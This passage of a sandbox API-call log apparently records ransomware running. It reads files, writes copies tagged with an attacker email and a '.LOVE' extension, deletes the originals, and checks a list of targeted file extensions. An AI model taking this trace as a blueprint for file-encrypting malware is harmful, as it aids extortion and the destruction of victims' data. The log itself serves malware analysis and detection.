hFile=0x380, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0x770, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0x770, lpOverlapped=0x0) returned 1 [0222.525] ReadFile (in: hFile=0x36c, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesRead=0x26dfecc*=0x0, lpOverlapped=0x0) returned 1 [0222.525] WriteFile (in: hFile=0x380, lpBuffer=0x4199020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x26dfc94, lpOverlapped=0x0 | out: lpBuffer=0x4199020*, lpNumberOfBytesWritten=0x26dfc94*=0xec, lpOverlapped=0x0) returned 1 [0222.525] SetEndOfFile (hFile=0x380) returned 1 [0222.526] CloseHandle (hObject=0x380) returned 1 [0222.526] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x26dfec0 | out: lpNewFilePointer=0x0) returned 1 [0222.526] SetEndOfFile (hFile=0x36c) returned 1 [0222.526] CloseHandle (hObject=0x36c) returned 1 [0222.527] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x220) returned 1 [0222.527] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00343_.wmf")) returned 1 [0222.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.527] lstrlenW (lpString=".doc") returned 4 [0222.527] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0222.527] lstrlenW (lpString=".docx") returned 5 [0222.527] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0222.527] lstrlenW (lpString=".pdf") returned 4 [0222.527] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0222.527] lstrlenW (lpString=".xls") returned 4 [0222.527] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0222.527] lstrlenW (lpString=".xlsx") returned 5 [0222.527] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0222.527] lstrlenW (lpString=".ppt") returned 4 [0222.527] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0222.527] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.528] lstrlenW (lpString=".zip") returned 4 [0222.528] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0222.528] lstrlenW (lpString=".rar") returned 4 [0222.528] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0222.528] lstrlenW (lpString=".bz2") returned 4 [0222.528] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0222.528] lstrlenW (lpString=".7z") returned 3 [0222.528] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0222.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.528] lstrlenW (lpString=".dbf") returned 4 [0222.528] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0222.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.528] lstrlenW (lpString=".1cd") returned 4 [0222.528] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0222.528] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00343_.WMF") returned 68 [0222.528] lstrlenW (lpString=".jpg") returned 4 [0222.528] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0222.934] GetLastError () returned 0x0 [0222.934] ReadFile (hFile=0x2d8, lpBuffer=0x4199020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x26dfecc, lpOverlapped=0x0) Thread: id = 14 os_tid = 0xfe0 [0194.556] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x7eea30 [0194.556] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10000) returned 0x834e70 [0194.557] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edfa8 [0194.557] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x6) returned 0x7ec2a0 [0194.557] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7eded0 [0194.557] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x100000) returned 0x392d020 [0194.559] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edfd8 [0194.559] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edfd8, Size=0x20) returned 0x7e0200 [0194.559] RtlAllocateHeap (HeapHandle=0x790000, Flags=0x0, Size=0x10) returned 0x7edfd8 [0194.559] RtlReAllocateHeap (Heap=0x790000, Flags=0x0, Ptr=0x7edfd8, Size=0x20) returned 0x7dfff8 [0194.559] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0194.559] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0194.560] Wow64DisableWow64FsRedirection (in: OldValue=0x2b1ff50 | out: OldValue=0x2b1ff50*=0x0) returned 1 [0194.560] lstrlenW (lpString="kernel32.dll") returned 12 [0194.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7e0200 | out: hHeap=0x790000) returned 1 [0194.560] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0194.560] HeapFree (in: hHeap=0x790000, dwFlags=0x0, lpMem=0x7dfff8 | out: hHeap=0x790000) returned 1 [0194.560] Sleep (dwMilliseconds=0x64) [0194.784] lstrcmpiW (lpString1=".log", lpString2=".LOVE") returned -1 [0194.784] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0194.784] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0194.840] GetFileSizeEx (in: hFile=0x29c, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=6004) returned 1 [0194.840] CloseHandle (hObject=0x29c) returned 1 [0194.840] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0194.840] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0194.840] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x29c [0194.840] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.840] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0194.840] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0194.864] GetLastError () returned 0x0 [0194.864] ReadFile (in: hFile=0x29c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x1774, lpOverlapped=0x0) returned 1 [0195.084] WriteFile (in: hFile=0x2ac, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x1780, lpOverlapped=0x0) returned 1 [0195.085] ReadFile (in: hFile=0x29c, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.085] WriteFile (in: hFile=0x2ac, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x114, lpOverlapped=0x0) returned 1 [0195.085] SetEndOfFile (hFile=0x2ac) returned 1 [0195.086] CloseHandle (hObject=0x2ac) returned 1 [0195.086] SetFilePointerEx (in: hFile=0x29c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.086] SetEndOfFile (hFile=0x29c) returned 1 [0195.087] CloseHandle (hObject=0x29c) returned 1 [0195.087] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0195.088] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0195.088] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.088] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.088] lstrlenW (lpString=".doc") returned 4 [0195.088] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0195.088] lstrlenW (lpString=".docx") returned 5 [0195.088] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0195.088] lstrlenW (lpString=".pdf") returned 4 [0195.088] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0195.088] lstrlenW (lpString=".xls") returned 4 [0195.088] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0195.088] lstrlenW (lpString=".xlsx") returned 5 [0195.088] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0195.088] lstrlenW (lpString=".ppt") returned 4 [0195.089] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString=".zip") returned 4 [0195.089] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0195.089] lstrlenW (lpString=".rar") returned 4 [0195.089] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0195.089] lstrlenW (lpString=".bz2") returned 4 [0195.089] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0195.089] lstrlenW (lpString=".7z") returned 3 [0195.089] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString=".dbf") returned 4 [0195.089] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString=".1cd") returned 4 [0195.089] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString=".jpg") returned 4 [0195.089] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.089] lstrlenW (lpString=".doc") returned 4 [0195.089] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0195.089] lstrlenW (lpString=".docx") returned 5 [0195.089] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0195.089] lstrlenW (lpString=".pdf") returned 4 [0195.089] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0195.089] lstrlenW (lpString=".xls") returned 4 [0195.089] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0195.090] lstrlenW (lpString=".xlsx") returned 5 [0195.090] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0195.090] lstrlenW (lpString=".ppt") returned 4 [0195.090] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0195.090] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.090] lstrlenW (lpString=".zip") returned 4 [0195.090] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0195.090] lstrlenW (lpString=".rar") returned 4 [0195.090] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0195.090] lstrlenW (lpString=".bz2") returned 4 [0195.090] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0195.090] lstrlenW (lpString=".7z") returned 3 [0195.090] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0195.090] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.090] lstrlenW (lpString=".dbf") returned 4 [0195.090] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0195.090] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.090] lstrlenW (lpString=".1cd") returned 4 [0195.090] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0195.090] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0195.090] lstrlenW (lpString=".jpg") returned 4 [0195.090] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0195.090] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.090] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.090] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.211] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=60816) returned 1 [0195.211] CloseHandle (hObject=0x2dc) returned 1 [0195.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 0x80 [0195.211] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0195.211] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.211] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.211] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0195.345] GetLastError () returned 0x0 [0195.345] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0xed90, lpOverlapped=0x0) returned 1 [0195.430] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xeda0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xeda0, lpOverlapped=0x0) returned 1 [0195.431] ReadFile (in: hFile=0x2dc, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.431] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.432] SetEndOfFile (hFile=0x2ec) returned 1 [0195.432] CloseHandle (hObject=0x2ec) returned 1 [0195.433] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.433] SetEndOfFile (hFile=0x2dc) returned 1 [0195.435] CloseHandle (hObject=0x2dc) returned 1 [0195.435] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.435] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1028\\localizeddata.xml")) returned 1 [0195.435] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.436] lstrlenW (lpString=".doc") returned 4 [0195.436] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString=".docx") returned 5 [0195.436] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.436] lstrlenW (lpString=".pdf") returned 4 [0195.436] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString=".xls") returned 4 [0195.436] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString=".xlsx") returned 5 [0195.436] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.436] lstrlenW (lpString=".ppt") returned 4 [0195.436] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.436] lstrlenW (lpString=".zip") returned 4 [0195.436] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.436] lstrlenW (lpString=".rar") returned 4 [0195.436] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString=".bz2") returned 4 [0195.436] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString=".7z") returned 3 [0195.436] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.436] lstrlenW (lpString=".dbf") returned 4 [0195.436] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.436] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.436] lstrlenW (lpString=".1cd") returned 4 [0195.436] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.437] lstrlenW (lpString=".jpg") returned 4 [0195.437] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.437] lstrlenW (lpString=".doc") returned 4 [0195.437] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString=".docx") returned 5 [0195.437] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.437] lstrlenW (lpString=".pdf") returned 4 [0195.437] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString=".xls") returned 4 [0195.437] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString=".xlsx") returned 5 [0195.437] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0195.437] lstrlenW (lpString=".ppt") returned 4 [0195.437] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.437] lstrlenW (lpString=".zip") returned 4 [0195.437] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0195.437] lstrlenW (lpString=".rar") returned 4 [0195.437] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString=".bz2") returned 4 [0195.437] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0195.437] lstrlenW (lpString=".7z") returned 3 [0195.437] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0195.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.438] lstrlenW (lpString=".dbf") returned 4 [0195.438] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0195.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.438] lstrlenW (lpString=".1cd") returned 4 [0195.438] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0195.438] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\LocalizedData.xml") returned 44 [0195.438] lstrlenW (lpString=".jpg") returned 4 [0195.438] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0195.438] lstrcmpiW (lpString1=".xml", lpString2=".LOVE") returned 1 [0195.438] lstrlenW (lpString="LocalizedData.xml") returned 17 [0195.438] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0195.456] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2b1ff14 | out: lpFileSize=0x2b1ff14*=77748) returned 1 [0195.456] CloseHandle (hObject=0x2d8) returned 1 [0195.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 0x80 [0195.457] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0195.458] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.458] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.458] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0195.459] GetLastError () returned 0x0 [0195.459] ReadFile (in: hFile=0x2e8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x12fb4, lpOverlapped=0x0) returned 1 [0195.511] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0x12fc0, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0x12fc0, lpOverlapped=0x0) returned 1 [0195.513] ReadFile (in: hFile=0x2e8, lpBuffer=0x392d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b1fecc, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesRead=0x2b1fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.513] WriteFile (in: hFile=0x2ec, lpBuffer=0x392d020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2b1fc94, lpOverlapped=0x0 | out: lpBuffer=0x392d020*, lpNumberOfBytesWritten=0x2b1fc94*=0xf6, lpOverlapped=0x0) returned 1 [0195.513] SetEndOfFile (hFile=0x2ec) returned 1 [0195.513] CloseHandle (hObject=0x2ec) returned 1 [0195.517] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b1fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.517] SetEndOfFile (hFile=0x2e8) returned 1 [0195.518] CloseHandle (hObject=0x2e8) returned 1 [0195.518] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.518] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml")) returned 1 [0195.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.519] lstrlenW (lpString="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml") returned 44 [0195.519] lstrlenW (lpString=".doc") returned 4 [0195.519] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0195.519] lstrlenW (lpString=".docx") returned 5 [0195.519] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0195.519] lstrlenW (lpString=".pdf") returned 4 